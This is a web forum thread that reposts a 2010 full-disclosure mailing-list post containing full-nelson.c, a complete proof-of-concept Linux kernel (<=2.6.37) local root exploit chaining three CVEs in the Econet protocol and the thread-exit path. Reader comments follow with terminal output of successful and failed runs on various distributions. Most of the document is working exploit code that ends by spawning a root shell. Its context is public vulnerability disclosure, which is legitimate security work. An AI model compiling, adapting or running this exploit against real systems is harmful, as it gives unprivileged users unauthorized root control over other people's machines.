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Interesting kernel exploit posted

From:  Dan Rosenberg <dan.j.rosenberg-AT-gmail.com>
To:  full-disclosure-AT-lists.grok.org.uk, bugtraq-AT-securityfocus.com
Subject:  Linux kernel exploit
Date:  Tue, 07 Dec 2010 15:25:36 -0500
Message-ID:  <1291753536.584.14.camel@dan>
Archive‑link:  Article

Hi all,

I've included here a proof-of-concept local privilege escalation exploit
for Linux.  Please read the header for an explanation of what's going
on.  Without further ado, I present full-nelson.c:

Happy hacking,
Dan


--snip--

/*
 * Linux Kernel <= 2.6.37 local privilege escalation
 * by Dan Rosenberg
 * @djrbliss on twitter
 *
 * Usage:
 * gcc full-nelson.c -o full-nelson
 * ./full-nelson
 *
 * This exploit leverages three vulnerabilities to get root, all of which were
 * discovered by Nelson Elhage:
 *
 * CVE-2010-4258
 * -------------
 * This is the interesting one, and the reason I wrote this exploit.  If a
 * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
 * word will be written to a user-specified pointer when that thread exits.
 * This write is done using put_user(), which ensures the provided destination
 * resides in valid userspace by invoking access_ok().  However, Nelson
 * discovered that when the kernel performs an address limit override via
 * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
 * etc.), this override is not reverted before calling put_user() in the exit
 * path, allowing a user to write a NULL word to an arbitrary kernel address.
 * Note that this issue requires an additional vulnerability to trigger.
 *
 * CVE-2010-3849
 * -------------
 * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
 * fairly benign as a local denial-of-service.  It's a perfect candidate to
 * trigger the above issue, since it's reachable via sock_no_sendpage(), which
 * subsequently calls sendmsg under KERNEL_DS.
 *
 * CVE-2010-3850
 * -------------
 * I wouldn't be able to reach the NULL pointer dereference and trigger the
 * OOPS if users weren't able to assign Econet addresses to arbitrary
 * interfaces due to a missing capabilities check.
 *
 * In the interest of public safety, this exploit was specifically designed to
 * be limited:
 *
 *  * The particular symbols I resolve are not exported on Slackware or Debian
 *  * Red Hat does not support Econet by default
 *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
 *    Debian
 *
 * However, the important issue, CVE-2010-4258, affects everyone, and it would
 * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
 * more sophisticated version of this that doesn't have the roadblocks I put in
 * to prevent abuse by script kiddies.
 *
 * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
 *
 * NOTE: the exploit process will deadlock and stay in a zombie state after you
 * exit your root shell because the Econet thread OOPSes while holding the
 * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
 *
 * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
 */

#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

/* How many bytes should we clear in our
 * function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" :
"");
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	if (rep)
		return 0;
fallback:
	uname(&ver);
	if (strncmp(ver.release, "2.6", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

        commit_creds(prepare_kernel_cred(0));
        return -1;

}

/* Why do I do this?  Because on x86-64, the address of
 * commit_creds and prepare_kernel_cred are loaded relative
 * to rip, which means I can't just copy the above payload
 * into my landing area. */
void __attribute__((regparm(3)))
trampoline()
{

#ifdef __x86_64__
	asm("mov $getroot, %rax; call *%rax;");
#else
	asm("mov $getroot, %eax; call *%eax;");
#endif

}

/* Triggers a NULL pointer dereference in econet_sendmsg
 * via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
	int ret;
	struct ifreq ifr;

	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);

	ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);

	if(ret < 0) {
		printf("[*] Failed to set Econet address.\n");
		return -1;
	}

	splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
	splice(fildes[0], NULL, fildes[2], NULL, 128, 0);

	/* Shouldn't get here... */
	exit(0);
}

int main(int argc, char * argv[])
{
	unsigned long econet_ops, econet_ioctl, target, landing;
	int fildes[4], pid;
	void * newstack, * payload;

	/* Create file descriptors now so there are two
	   references to them after cloning...otherwise
	   the child will never return because it
	   deadlocks when trying to unlock various
	   mutexes after OOPSing */
	pipe(fildes);
	fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
	fildes[3] = open("/dev/zero", O_RDONLY);

	if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
		printf("[*] Failed to open file descriptors.\n");
		return -1;
	}

	/* Resolve addresses of relevant symbols */
	printf("[*] Resolving kernel addresses...\n");
	econet_ioctl = get_kernel_sym("econet_ioctl");
	econet_ops = get_kernel_sym("econet_ops");
	commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
	prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

	if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
		printf("[*] Failed to resolve kernel symbols.\n");
		return -1;
	}

	if(!(newstack = malloc(65536))) {
		printf("[*] Failed to allocate memory.\n");
		return -1;
	}

	printf("[*] Calculating target...\n");
	target = econet_ops + 10 * sizeof(void *) - OFFSET;

	/* Clear the higher bits */
	landing = econet_ioctl << SHIFT >> SHIFT;

	payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
		       PROT_READ | PROT_WRITE | PROT_EXEC,
		       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);

	if ((long)payload == -1) {
		printf("[*] Failed to mmap() at target address.\n");
		return -1;
	}

	memcpy((void *)landing, &trampoline, 1024);

	clone((int (*)(void *))trigger,
	      (void *)((unsigned long)newstack + 65536),
	      CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
	      &fildes, NULL, NULL, target);

	sleep(1);

	printf("[*] Triggering payload...\n");
	ioctl(fildes[2], 0, NULL);

	if(getuid()) {
		printf("[*] Exploit failed to get root.\n");
		return -1;
	}

	printf("[*] Got root!\n");
	execl("/bin/sh", "/bin/sh", NULL);
}


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to post comments

Interesting kernel exploit posted

Posted Dec 8, 2010 12:49 UTC (Wed) by zoobab (guest, #9945) [Link] (6 responses)

It works on an Ubuntu 10.10 Maverick machine:

user@machine# cat /proc/version
Linux version 2.6.35-22-generic (buildd@allspice) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:32:27 UTC 2010
user@machine# ./exploit
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa0117520
[+] Resolved econet_ops to 0xffffffffa0117640
[+] Resolved commit_creds to 0xffffffff810863b0
[+] Resolved prepare_kernel_cred to 0xffffffff81086880
[*] Calculating target...
[*] Failed to set Econet address.
[*] Triggering payload...
[*] Got root!
# whoami
root
#

Interesting kernel exploit posted

Posted Dec 8, 2010 13:28 UTC (Wed) by charlieb (guest, #23340) [Link]

> user@machine# ./exploit

So you were root already when running this?

Interesting kernel exploit posted

Posted Dec 8, 2010 15:56 UTC (Wed) by SmittyBoy (guest, #65888) [Link] (3 responses)

[jack@Tecra sandbox]$ gcc exploit.c
[jack@Tecra sandbox]$ ls -ltrc
total 20
-rw-rw-r--. 1 jack jack 5064 Dec 8 16:52 exploit.c
-rwxrwxr-x. 1 jack jack 9344 Dec 8 16:52 a.out
[jack@RASMAS-Tecra sandbox]$ ./a.out
[*] Failed to open file descriptors.

*!*!*!* Didn't get root *!*!*!*

Interesting kernel exploit posted

Posted Dec 8, 2010 16:04 UTC (Wed) by ctg (guest, #3459) [Link] (2 responses)

You need the econet module loaded. Which is pretty obscure. Don't know if the same issue is in other, more common, modules...

Interesting kernel exploit posted

Posted Dec 8, 2010 16:08 UTC (Wed) by nelhage (subscriber, #59579) [Link]

You need the econet module loaded, but most kernels today (including, for instance, nearly all current Ubuntu kernels) will automatically load it if anyone, even an unprivileged user, attempts to create an AF_ECONET socket.

Interesting kernel exploit posted

Posted Dec 8, 2010 17:18 UTC (Wed) by tialaramex (subscriber, #21167) [Link]

The POC as it stands is enough to demonstrate this problem and hopefully get it fixed promptly. Altering it to use other bugs in more widespread code while undoubtedly possible is besides the point unless you're a black hat.

Interesting kernel exploit posted

Posted Dec 9, 2010 5:02 UTC (Thu) by waltercool (guest, #51256) [Link]

I cant reproduce it...

I just get

[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xfc62fba4
[+] Resolved commit_creds to 0xc104356c
[+] Resolved prepare_kernel_cred to 0xc1043879
[*] Failed to resolve kernel symbols.

Using a custom gentoo kernel 2.6.36-r3

Interesting kernel exploit posted

Posted Dec 9, 2010 2:27 UTC (Thu) by cmccabe (guest, #60281) [Link]

Wow, expertly done. And *not* useful to script kiddies, either. Bravo.

doesn't work here either

Posted Dec 9, 2010 7:23 UTC (Thu) by freddyh (guest, #21133) [Link]

Doesn't work on OpenSuSE 11.2 either:

freddyh@chainfire:~> id
uid=1000(freddyh) gid=100(users) groups=33(video),100(users)
freddyh@chainfire:~> gcc full-nelson.c
freddyh@chainfire:~> ./a.out
[*] Failed to open file descriptors.
freddyh@chainfire:~> id
uid=1000(freddyh) gid=100(users) groups=33(video),100(users)

Interesting kernel exploit posted

Posted Dec 9, 2010 10:11 UTC (Thu) by shlomif (guest, #11299) [Link] (1 responses)

Works on Mandriva Linux Cooker (x86-32) using:

Linux telaviv1.shlomifish.org 2.6.36.1-desktop-2mnb #1 SMP Wed Dec 1 02:06:37 CET 2010 i686 i686 i386 GNU/Linux

I'm getting root (but also got a kernel oops along the way).

Regards,

-- Shlomi Fish

Interesting kernel exploit posted

Posted Dec 9, 2010 21:04 UTC (Thu) by tao (subscriber, #17563) [Link]

If you read the description of the exploit you'll notice that the Oops is a necessary part of the exploit...

Interesting kernel exploit posted

Posted Dec 9, 2010 10:57 UTC (Thu) by sigs (guest, #71782) [Link] (3 responses)

~/testing> uname -srvmpio
Linux 2.6.26-2-686 #1 SMP Thu Sep 16 19:35:51 UTC 2010 i686 unknown unknown GNU/Linux
~/testing> ./full-nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf8dee206
[+] Resolved econet_ops to 0xf8deefe0
[*] Failed to resolve kernel symbols.
~/testing>

(Debian Lenny)

Interesting kernel exploit posted

Posted Dec 9, 2010 15:54 UTC (Thu) by spaetz (guest, #32870) [Link] (2 responses)

Because, if you read the original announcement, he designed his attack specifically and explicitely in a way that the symbols being used are not available in Debian's kernel....

Interesting kernel exploit posted

Posted Dec 9, 2010 16:30 UTC (Thu) by BenHutchings (subscriber, #37955) [Link] (1 responses)

Also the latter two vulnerabilities are now fixed in Debian.

But we're probably just going to take econet out the back and shoot it, since it has other problems and doesn't appear to have been usable for years.

Interesting kernel exploit posted

Posted Dec 9, 2010 21:05 UTC (Thu) by tao (subscriber, #17563) [Link]

Good riddance!


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